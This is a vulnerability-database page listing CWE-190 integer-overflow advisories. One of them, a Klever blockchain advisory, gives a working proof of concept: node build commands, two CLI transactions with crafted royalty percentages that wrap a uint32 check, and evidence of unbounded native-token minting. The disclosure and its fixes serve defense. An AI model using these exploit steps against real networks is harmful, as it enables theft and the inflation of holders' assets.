Common Weakness Enumeration

CWE-190

Allowed

Integer Overflow or Wraparound

Abstraction: Base · Status: Stable

API response cwe.mitre.org

The product performs a calculation that can produce an integer overflow or wraparound when the logic assumes that the resulting value will always be larger than the original value. This occurs when an integer value is incremented to a value that is too large to store in the associated representation. When this occurs, the value may become a very small or negative number.

4393 vulnerabilities reference this CWE, most recent first.

GHSA-CFPJ-F5RW-HMFR

Vulnerability from github – Published: 2022-05-14 03:13 – Updated: 2022-05-14 03:13
VLAI
Details

The mintToken function of a smart contract implementation for ViteMoneyCoin, an Ethereum token, has an integer overflow that allows the owner of the contract to set the balance of an arbitrary user to any value.

Severity
7.5 (High)
CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-13682"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-07-09T06:29:00Z",
    "severity": "HIGH"
  },
  "details": "The mintToken function of a smart contract implementation for ViteMoneyCoin, an Ethereum token, has an integer overflow that allows the owner of the contract to set the balance of an arbitrary user to any value.",
  "id": "GHSA-cfpj-f5rw-hmfr",
  "modified": "2022-05-14T03:13:00Z",
  "published": "2022-05-14T03:13:00Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-13682"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BlockChainsSecurity/EtherTokens/blob/master/GEMCHAIN/mint%20integer%20overflow.md"
    },
    {
      "type": "WEB",
      "url": "https://github.com/BlockChainsSecurity/EtherTokens/tree/master/ViteMoneyCoin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CFRX-FQ8M-28PV

Vulnerability from github – Published: 2024-04-09 18:30 – Updated: 2024-04-09 18:30
VLAI
Details

Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-28929"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-04-09T17:15:53Z",
    "severity": "HIGH"
  },
  "details": "Microsoft ODBC Driver for SQL Server Remote Code Execution Vulnerability",
  "id": "GHSA-cfrx-fq8m-28pv",
  "modified": "2024-04-09T18:30:27Z",
  "published": "2024-04-09T18:30:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-28929"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-28929"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CFW7-VMP5-WG69

Vulnerability from github – Published: 2026-08-05 15:32 – Updated: 2026-08-05 15:32
VLAI
Details

dr_libs dr_wav.h (all versions through current master) contains an integer overflow in W64 CUE chunk metadata parsing. In drwav__metadata_process_chunk(), a stage-1 capacity estimate truncates the 64-bit W64 chunk sizeInBytes to size_t before dividing by DRWAV_CUE_POINT_BYTES; on 32-bit builds this truncation causes the pre-allocated extra metadata capacity to be computed incorrectly. The subsequent read in drwav__read_cue_to_metadata_obj() computes the actual cue point count and allocation size using the full-precision, attacker-controlled cuePointCount field without cross-checking it against the stage-1 capacity estimate, and the only bounds enforcement on the resulting memory region (drwav__metadata_get_memory()) is a DRWAV_ASSERT, which compiles to a no-op under -DNDEBUG (the default for release builds). A crafted W64 WAV file can therefore cause a heap buffer overflow in any 32-bit application parsing untrusted WAV metadata.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-71261"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-08-05T13:24:50Z",
    "severity": "HIGH"
  },
  "details": "dr_libs dr_wav.h (all versions through current master) contains an integer overflow in W64 CUE chunk metadata parsing. In drwav__metadata_process_chunk(), a stage-1 capacity estimate truncates the 64-bit W64 chunk sizeInBytes to size_t before dividing by DRWAV_CUE_POINT_BYTES; on 32-bit builds this truncation causes the pre-allocated extra metadata capacity to be computed incorrectly. The subsequent read in drwav__read_cue_to_metadata_obj() computes the actual cue point count and allocation size using the full-precision, attacker-controlled cuePointCount field without cross-checking it against the stage-1 capacity estimate, and the only bounds enforcement on the resulting memory region (drwav__metadata_get_memory()) is a DRWAV_ASSERT, which compiles to a no-op under -DNDEBUG (the default for release builds). A crafted W64 WAV file can therefore cause a heap buffer overflow in any 32-bit application parsing untrusted WAV metadata.",
  "id": "GHSA-cfw7-vmp5-wg69",
  "modified": "2026-08-05T15:32:19Z",
  "published": "2026-08-05T15:32:19Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-71261"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mackron/dr_libs"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mackron/dr_libs/blob/master/dr_wav.h"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CG32-6V27-JR43

Vulnerability from github – Published: 2025-12-23 21:30 – Updated: 2025-12-23 21:30
VLAI
Details

NSF Unidata NetCDF-C NC Variable Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of NSF Unidata NetCDF-C. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.

The specific flaw exists within the parsing of NC variables. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-27266.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-14933"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-12-23T21:15:48Z",
    "severity": "HIGH"
  },
  "details": "NSF Unidata NetCDF-C NC Variable Integer Overflow Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of NSF Unidata NetCDF-C. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the parsing of NC variables. The issue results from the lack of proper validation of user-supplied data, which can result in an integer overflow before allocating a buffer. An attacker can leverage this vulnerability to execute code in the context of the current user. Was ZDI-CAN-27266.",
  "id": "GHSA-cg32-6v27-jr43",
  "modified": "2025-12-23T21:30:30Z",
  "published": "2025-12-23T21:30:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-14933"
    },
    {
      "type": "WEB",
      "url": "https://www.zerodayinitiative.com/advisories/ZDI-25-1151"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CG35-FR7P-33M9

Vulnerability from github – Published: 2022-05-24 19:10 – Updated: 2026-08-05 18:31
VLAI
Details

In kernel/bpf/hashtab.c in the Linux kernel through 5.13.8, there is an integer overflow and out-of-bounds write when many elements are placed in a single bucket. NOTE: exploitation might be impractical without the CAP_SYS_ADMIN capability.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-38166"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-07T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "In kernel/bpf/hashtab.c in the Linux kernel through 5.13.8, there is an integer overflow and out-of-bounds write when many elements are placed in a single bucket. NOTE: exploitation might be impractical without the CAP_SYS_ADMIN capability.",
  "id": "GHSA-cg35-fr7p-33m9",
  "modified": "2026-08-05T18:31:18Z",
  "published": "2022-05-24T19:10:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-38166"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/pub/scm/linux/kernel/git/bpf/bpf.git/commit/?id=c4eb1f403243fc7bbb7de644db8587c03de36da6"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/GUVLBJKZMWA3E3YXSH4SZ7BOYGJP4GXP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce%40lists.fedoraproject.org/message/UL6CH5M5PRLMA3KPBX4LPUO6Z73GRISO"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GUVLBJKZMWA3E3YXSH4SZ7BOYGJP4GXP"
    },
    {
      "type": "WEB",
      "url": "https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/UL6CH5M5PRLMA3KPBX4LPUO6Z73GRISO"
    },
    {
      "type": "WEB",
      "url": "https://lore.kernel.org/bpf/20210806150419.109658-1-th.yasumatsu%40gmail.com"
    },
    {
      "type": "WEB",
      "url": "https://lore.kernel.org/bpf/20210806150419.109658-1-th.yasumatsu@gmail.com"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/ntap-20210909-0001"
    },
    {
      "type": "WEB",
      "url": "https://www.debian.org/security/2021/dsa-4978"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CG5R-W5QP-44F4

Vulnerability from github – Published: 2024-10-09 15:32 – Updated: 2024-10-09 15:32
VLAI
Details

Adobe Framemaker versions 2020.6, 2022.4 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-47424"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-09T15:15:14Z",
    "severity": "HIGH"
  },
  "details": "Adobe Framemaker versions 2020.6, 2022.4 and earlier are affected by an Integer Overflow or Wraparound vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file.",
  "id": "GHSA-cg5r-w5qp-44f4",
  "modified": "2024-10-09T15:32:20Z",
  "published": "2024-10-09T15:32:20Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-47424"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/framemaker/apsb24-82.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CG99-4RFX-5JW8

Vulnerability from github – Published: 2022-05-13 01:49 – Updated: 2022-05-13 01:49
VLAI
Details

In all android releases (Android for MSM, Firefox OS for MSM, QRD Android) from CAF using the linux kernel, lack of check on integer overflow while calculating memory can lead to Buffer overflow in WLAN ext scan handler.

Severity
7.8 (High)
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2018-11826"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2018-09-18T18:29:00Z",
    "severity": "HIGH"
  },
  "details": "In all android releases (Android for MSM, Firefox OS for MSM, QRD Android) from CAF using the linux kernel, lack of check on integer overflow while calculating memory can lead to Buffer overflow in WLAN ext scan handler.",
  "id": "GHSA-cg99-4rfx-5jw8",
  "modified": "2022-05-13T01:49:21Z",
  "published": "2022-05-13T01:49:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-11826"
    },
    {
      "type": "WEB",
      "url": "https://source.codeaurora.org/quic/la/platform/vendor/qcom-opensource/wlan/qcacld-3.0/commit/?id=650afe0c0ec2f566c9546b3b8e400b36fcf44aed"
    },
    {
      "type": "WEB",
      "url": "https://www.codeaurora.org/security-bulletin/2018/09/04/september-2018-code-aurora-security-bulletin"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/107770"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CGC5-V3F2-8M2V

Vulnerability from github – Published: 2026-08-28 16:25 – Updated: 2026-08-28 16:25
VLAI
Summary
Klever: Integer overflow in split-royalty validation enables unbounded minting of KLV (native token)
Details

Summary

The per-entry percentages of a KDA asset's split royalties are validated by summing them into a uint32 accumulator and checking the sum against HundredPercent (10000), with no upper bound on each individual entry. Two split entries whose percentages sum to just over 2^32 wrap around below 10000 and pass validation, while each stored value remains astronomically large (e.g. 0x80000000 = 2,147,483,648 ≈ 21,474,836%).

At royalty payout, each split recipient is credited pool × hugePct / 10000 — far more than the royalty pool — and the resulting negative remainder is silently discarded (if royaltiesToPay <= 0 { return Ok }). Because fixed royalties (and marketplace/ITO royalties) are denominated in KLV, an attacker mints KLV (the native token) out of thin air, on demand, by transferring or selling their own throwaway asset.

This is independent of, and not mitigated by, the existing FixMarketBuyOverflow guard.

Affected component

  • Repository: klever-io/klever-go (node).
  • Validation: core/process/kda/assetHelper.go, core/kapp/kda/create.go, core/kapp/kda/trigger.go, core/kapp/builtInFunctions/utils.go.
  • Payout (mint sites): core/kapp/accounts/accounts.go (transfer), core/kapp/market/market.go (marketplace buy), core/kapp/ito/ito.go (ITO buy).
  • Not gated by any fork flag — exploitable on current mainnet.

Root cause

1. Per-entry split percentages are decoded as raw uint32 with no bound

core/kapp/builtInFunctions/utils.go — decodeSplitInfo (≈L292):

func decodeSplitInfo(buf *bytes.Reader, splitInfo *transaction.RoyaltySplitInfo) error {
    fields := []*uint32{
        &splitInfo.PercentTransferPercentage,
        &splitInfo.PercentTransferFixed,
        &splitInfo.PercentMarketPercentage,
        &splitInfo.PercentMarketFixed,
        &splitInfo.PercentITOPercentage,
        &splitInfo.PercentITOFixed,
    }
    for _, field := range fields {
        if err := binary.Read(buf, binary.BigEndian, field); err != nil { // no <= HundredPercent check
            return err
        }
    }
    return nil
}

2. Validation sums into a uint32 and only checks the sum

core/kapp/kda/create.go (fungible path, ≈L351-382; NFT path ≈L228-264):

sumSplitTransferPercentage := uint32(0)   // L351  <-- uint32 accumulator
sumSplitTransferFixed       := uint32(0)
// ...
for key, value := range tc.GetRoyalties().GetSplitRoyalties() {
    // ... no per-entry bound ...
    sumSplitTransferPercentage += value.GetPercentTransferPercentage() // can overflow uint32
    sumSplitTransferFixed       += value.GetPercentTransferFixed()
    // ...
}
if !kda.CheckValid100Params(sumSplitTransferPercentage, sumSplitTransferFixed, /*...*/) { // sees the WRAPPED sum
    return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue
}

core/process/kda/assetHelper.go (L101):

func CheckValid100Params(values ...uint32) bool {
    for _, value := range values {
        if value > core.HundredPercent { // HundredPercent = 10000
            return false
        }
    }
    return true
}

The per-entry > HundredPercent check that exists for TransferPercentage tiers (create.go:398, trigger.go:780) does not apply to these SplitRoyalties fields.

0x80000000 + 0x80000000 = 0x1_0000_0000 → wraps to 0 in uint32 → CheckValid100Params(0) is true.

3. Payout over-pays and silently drops the negative remainder (mint), in KLV

core/kapp/accounts/accounts.go — processFixedRoyaltiesTransfer (L316-382):

err := acntSrc.SubFromBalance(kda.Royalties.TransferFixed, kdautils.KLVIdentifier, ...) // L332: sender pays a tiny KLV fixed royalty
// ...
royaltiesFixedToPay := kda.Royalties.TransferFixed
for key, value := range kda.Royalties.SplitRoyalties {
    // L343: split paid in KLV using the overflowed PercentTransferFixed
    status, err := a.computeSplitRoyalties(key, kdautils.KLVIdentifier, kapps.KDAData_Fungible,
        acntSrc, kda.Royalties.TransferFixed, int64(value.PercentTransferFixed), &royaltiesFixedToPay)
    // ...
}
if royaltiesFixedToPay <= 0 {   // L349: negative remainder silently dropped (no error)
    return transaction.Transaction_Ok, nil
}

computeSplitRoyalties (L276-314):

splitToPay, err := tools.ComputePercentageI64(value, percentage, a.forkController.EnableSmartContracts()) // L287
*royaltiesToPay -= splitToPay                                                                              // L291
err = splitRoyalty.AddToBalance(splitToPay, assetID, ...)                                                  // L293: credit, no matching debit

tools/converters.go — ComputePercentageI64 (L102): for a small pool, pool * 0x80000000 / 10000 fits in int64, so no overflow error fires — it simply returns the inflated amount.

Net: sender debited TransferFixed KLV (e.g. 1 KLV); each split recipient credited TransferFixed × 0x80000000 / 10000 KLV. KLV minted = (sum of split credits) − TransferFixed.

The same pattern exists in core/kapp/market/market.go (computeRoyaltiesAmount L490+ in the sale currencyID; computeRoyaltiesFixedDeposit L443+ in KLV — silent skips at L456/L503) and core/kapp/ito/ito.go (L429/L499). The shipped FixMarketBuyOverflow guard only checks the top-level marketOwnerAmount < 0, not these intra-royalty split over-payments.

Proof of Concept (reproduce from scratch)

A single-node local network is sufficient. Full environment setup is in the companion runbook REPRODUCE-split-royalty-overflow.md; the exploit itself is two transactions.

Prereqs (build + run a single node)

export REPO=/path/to/klever-go && cd "$REPO"
go build -o /tmp/klnode ./cmd/node
go build -o /tmp/kloperator ./cmd/operator
go build -o /tmp/klkeygen ./cmd/keygenerator
# Generate a validator key, point config/node/nodesSetup.json + genesis.json at it and at a
# funded wallet (klvDenomination 6), then:
nohup /tmp/klnode --config=./config/node/config.yaml --genesis-file=./config/node/genesis.json \
  --nodes-setup-file=./config/node/nodesSetup.json --validator-key-pem-file=./config/node/validatorKey.pem \
  --rest-api-interface=127.0.0.1:8080 --working-directory=/tmp/klnet-db --log-level='*:INFO' \
  > /tmp/klnode.log 2>&1 < /dev/null & disown

Step 1 — create a malicious asset (your own throwaway token)

The operator stores percentages as uint32(input × 100), so 21474836.48 → 2147483648 = 0x80000000. Two entries make the uint32 sum wrap to 0.

R1=<any valid klv1 address>   # clean recipient, will receive minted KLV
R2=<any valid klv1 address>   # second recipient
/tmp/kloperator kda create 0 \
  --name="KlvPrinter" --ticker=KPRT2 --precision=6 --initialSupply=1000000 --canMint \
  --royaltiesAddress=<owner> \
  --royaltiesTransferFixed=1 \
  --splitRoyalties="{\"address\":\"$R1\",\"percentTransferFixed\":21474836.48}" \
  --splitRoyalties="{\"address\":\"$R2\",\"percentTransferFixed\":21474836.48}" \
  -s --await

Expected: resultCode: Ok. The node stores percentTransferFixed: 2147483648 for both recipients (a correct chain would reject this).

Step 2 — mint KLV with one ordinary transfer

/tmp/kloperator account send "$R2" 1 --kda KPRT2-<id> -s --await

Expected: resultCode: Ok, with two KLV transfer receipts of 214748364800 (= 214,748.36 KLV) to R1 and R2 — for a TransferFixed royalty of 1000000 (1 KLV).

Verify the mint

# R1 KLV balance went from 0 to 214,748.36 although nobody sent it KLV:
curl -s "http://127.0.0.1:8080/address/$R1" | python3 -c \
 "import sys,json;print(json.load(sys.stdin)['data']['account']['Balance']/1e6,'KLV')"

Evidence (live single-node run, chainID 420420)

Asset creation — overflowed split royalties accepted (resultCode: Ok)

tx 1e288135d138be61a1fc240775eed04fcb578cc7299b28bea9e47c79f86e60eb, broadcast contract (operator output, abridged):

{
  "type": 0, "name": "KlvPrinter2", "ticker": "KPRT2",
  "ownerAddress": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
  "initialSupply": 1000000000000,
  "royalties": {
    "address": "klv1ddnnxjrt4jhus4ddtzmp6ccpcu3us78ndrn4qet0x0vegpg4995qv4nctq",
    "transferFixed": 1000000,
    "splitRoyalties": {
      "klv17e8zzgn73h6ehe3c6q9vlt77kuxk5euddmhymy5uhv2rhv0dc0nqlfp0ap": { "percentTransferFixed": 2147483648 },
      "klv1fpwjz234gy8aaae3gx0e8q9f52vymzzn3z5q0s5h60pvktzx0n0qwvtux5": { "percentTransferFixed": 2147483648 }
    }
  }
}

Result: hash: 1e288135…, status: success, resultCode: Ok. (2147483648 = 0x80000000; the two values' uint32 sum is 0 → passed CheckValid100Params.)

Transfer — mints KLV (resultCode: Ok)

tx 4e869e93f480c7735f08d6f807cd3c0bb1935131d9bacef75ca7e3402501d1e6, block 375, status: success, resultCode: Ok. Receipts (operator output):

{"typeString": "SignedBy"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv1fpwjz…(R1)", "value": 214748364800, "assetId": "KLV",        "assetType": "Fungible"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 214748364800, "assetId": "KLV",        "assetType": "Fungible"}
{"typeString": "Transfer", "from": "klv1ddnn…(owner)", "to": "klv17e8zz…(R2)", "value": 1000000,       "assetId": "KPRT2-2712", "assetType": "Fungible"}

Outcome: the sender paid 1000000 (1 KLV) of fixed royalty; the two split recipients were each credited 214748364800 (214,748.36 KLV) — 429,496.73 KLV minted from a 1 KLV royalty, in a single transfer. R1 went from a non-existent/0-KLV account to 214,748.36 KLV while never being sent any KLV. The minted amount is pool(=1000000) × 0x80000000 / 10000 = 214748364800 per recipient.

A prior run reproduced the same on the transfer-percentage path, minting the asset itself (42,949,672.96 tokens from one transfer); note that the asset's booked CirculatingSupply / MintedValue do not change (the mint is via direct AddToBalance, not a tracked Mint), so the inflation is invisible to supply dashboards and only detectable by summing balances.

Impact

  • Unbounded inflation of KLV (the native token), repeatable per transaction for only tx fees.
  • Same root cause also mints KLV via marketplace buy (sale currency + KLV MarketFixed deposit) and ITO buy, and mints arbitrary assets via the transfer-percentage path.
  • The mint is off the books (booked supply unchanged), making detection hard.
  • Total loss of economic integrity for all token/KLV holders.

Who can exploit it / prerequisites

  • Any account that can pay the one-time asset-creation fee + tx fees. No roles, admin, or allowlist.
  • Any client. The operator CLI used above is unprivileged: it signs a standard transaction and POSTs to the public, unauthenticated /transaction/send endpoint (network/api/transaction/routes.go, SendTX/BroadcastTX — no auth). The official SDKs or a hand-signed curl produce identical results; nothing in the operator is required.
  • Deterministic, single-transaction trigger after a one-time asset setup.

Remediation

Two layers, both should ship. Because these change transaction-validity/consensus behavior, gate them behind a new activation-epoch fork flag (same mechanism as the existing FixMarketBuyOverflow), so historical blocks reprocess identically.

A. Reject over-100% split percentages at validation (root cause)

  1. Bound each individual split field, e.g. in decodeSplitInfo (core/kapp/builtInFunctions/utils.go): go for _, field := range fields { if err := binary.Read(buf, binary.BigEndian, field); err != nil { return err } if *field > core.HundredPercent { return process.ErrInvalidRoyalties } // NEW }
  2. Accumulate sums in uint64 (overflow-proof) in core/kapp/kda/create.go and core/kapp/kda/trigger.go, and reject if any per-category sum > core.HundredPercent. (With each entry ≤ 10000 and the existing MaxTransferRoyalties = 20 cap, the max sum is 200000 — but use uint64 regardless for defense in depth.)

B. Treat a negative royalty remainder as a hard error (defense in depth)

In every split-distribution site, replace the silent skip with a rejection:

// BEFORE
if royaltiesToPay <= 0 { return transaction.Transaction_Ok, nil }
// AFTER
if royaltiesToPay < 0  { return transaction.Transaction_ParameterInvalid, common.ErrInvalidValue }
if royaltiesToPay == 0 { return transaction.Transaction_Ok, nil }

Sites: core/kapp/accounts/accounts.go (L349 fixed, L436 percentage), core/kapp/market/market.go (L456, L503), core/kapp/ito/ito.go (L429, L499).

C. (Optional) Assert conservation

After distributing a royalty pool, assert Σ splitToPay == pool (the owner gets the exact remainder), so any future regression aborts the tx instead of minting.

A regression test should: (1) confirm an asset whose split percentages sum-overflow uint32 is rejected at create/trigger, and (2) confirm a transfer/buy of such an asset (if one slipped in) cannot pay out more than the royalty pool.

Variants / notes

  • Transfer (percentage) → mints the transferred asset. Transfer (fixed), Market (fixed + percentage), ITO (fixed + percentage) → mint KLV / the sale currency.
  • Smart-contract senders skip royalties, but a contract can plant the malicious royalties via AssetTrigger/UpdateRoyalties and let a normal account trigger the mint — atomically within one tx.
  • The legacy ComputePercentageI64 float path (checkOverflow=false) makes the over-pay even easier (no int64 overflow guard at all), but the big.Int path mints too for small pools.

References

  • Vulnerable code: core/process/kda/assetHelper.go:101, core/kapp/builtInFunctions/utils.go:292, core/kapp/kda/create.go:228-264,351-382, core/kapp/kda/trigger.go, core/kapp/accounts/accounts.go:276-382, core/kapp/market/market.go:443-538, core/kapp/ito/ito.go:415-556, tools/converters.go:102.
Severity
9.6 (Critical)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/klever-io/klever-go"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "1.7.19"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-54755"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-08-28T16:25:48Z",
    "nvd_published_at": null,
    "severity": "CRITICAL"
  },
  "details": "## Summary\n\nThe per-entry percentages of a KDA asset\u0027s **split royalties** are validated by summing\nthem into a **`uint32`** accumulator and checking the *sum* against `HundredPercent (10000)`,\nwith **no upper bound on each individual entry**. Two split entries whose percentages sum to\njust over `2^32` **wrap around** below `10000` and pass validation, while each stored value\nremains astronomically large (e.g. `0x80000000 = 2,147,483,648` \u2248 21,474,836%).\n\nAt royalty payout, each split recipient is credited `pool \u00d7 hugePct / 10000` \u2014 far more than\nthe royalty pool \u2014 and the resulting negative remainder is silently discarded\n(`if royaltiesToPay \u003c= 0 { return Ok }`). Because **fixed** royalties (and marketplace/ITO\nroyalties) are denominated in **KLV**, an attacker mints **KLV (the native token)** out of thin\nair, on demand, by transferring or selling their own throwaway asset.\n\nThis is independent of, and not mitigated by, the existing `FixMarketBuyOverflow` guard.\n\n\n## Affected component\n\n- Repository: `klever-io/klever-go` (node).\n- Validation: `core/process/kda/assetHelper.go`, `core/kapp/kda/create.go`,\n  `core/kapp/kda/trigger.go`, `core/kapp/builtInFunctions/utils.go`.\n- Payout (mint sites): `core/kapp/accounts/accounts.go` (transfer), `core/kapp/market/market.go`\n  (marketplace buy), `core/kapp/ito/ito.go` (ITO buy).\n- **Not** gated by any fork flag \u2014 exploitable on current mainnet.\n\n---\n\n## Root cause\n\n### 1. Per-entry split percentages are decoded as raw `uint32` with no bound\n`core/kapp/builtInFunctions/utils.go` \u2014 `decodeSplitInfo` (\u2248L292):\n```go\nfunc decodeSplitInfo(buf *bytes.Reader, splitInfo *transaction.RoyaltySplitInfo) error {\n\tfields := []*uint32{\n\t\t\u0026splitInfo.PercentTransferPercentage,\n\t\t\u0026splitInfo.PercentTransferFixed,\n\t\t\u0026splitInfo.PercentMarketPercentage,\n\t\t\u0026splitInfo.PercentMarketFixed,\n\t\t\u0026splitInfo.PercentITOPercentage,\n\t\t\u0026splitInfo.PercentITOFixed,\n\t}\n\tfor _, field := range fields {\n\t\tif err := binary.Read(buf, binary.BigEndian, field); err != nil { // no \u003c= HundredPercent check\n\t\t\treturn err\n\t\t}\n\t}\n\treturn nil\n}\n```\n\n### 2. Validation sums into a `uint32` and only checks the sum\n`core/kapp/kda/create.go` (fungible path, \u2248L351-382; NFT path \u2248L228-264):\n```go\nsumSplitTransferPercentage := uint32(0)   // L351  \u003c-- uint32 accumulator\nsumSplitTransferFixed       := uint32(0)\n// ...\nfor key, value := range tc.GetRoyalties().GetSplitRoyalties() {\n\t// ... no per-entry bound ...\n\tsumSplitTransferPercentage += value.GetPercentTransferPercentage() // can overflow uint32\n\tsumSplitTransferFixed       += value.GetPercentTransferFixed()\n\t// ...\n}\nif !kda.CheckValid100Params(sumSplitTransferPercentage, sumSplitTransferFixed, /*...*/) { // sees the WRAPPED sum\n\treturn transaction.Transaction_ParameterInvalid, common.ErrInvalidValue\n}\n```\n`core/process/kda/assetHelper.go` (L101):\n```go\nfunc CheckValid100Params(values ...uint32) bool {\n\tfor _, value := range values {\n\t\tif value \u003e core.HundredPercent { // HundredPercent = 10000\n\t\t\treturn false\n\t\t}\n\t}\n\treturn true\n}\n```\nThe per-entry `\u003e HundredPercent` check that exists for `TransferPercentage` **tiers**\n(`create.go:398`, `trigger.go:780`) does **not** apply to these `SplitRoyalties` fields.\n\n`0x80000000 + 0x80000000 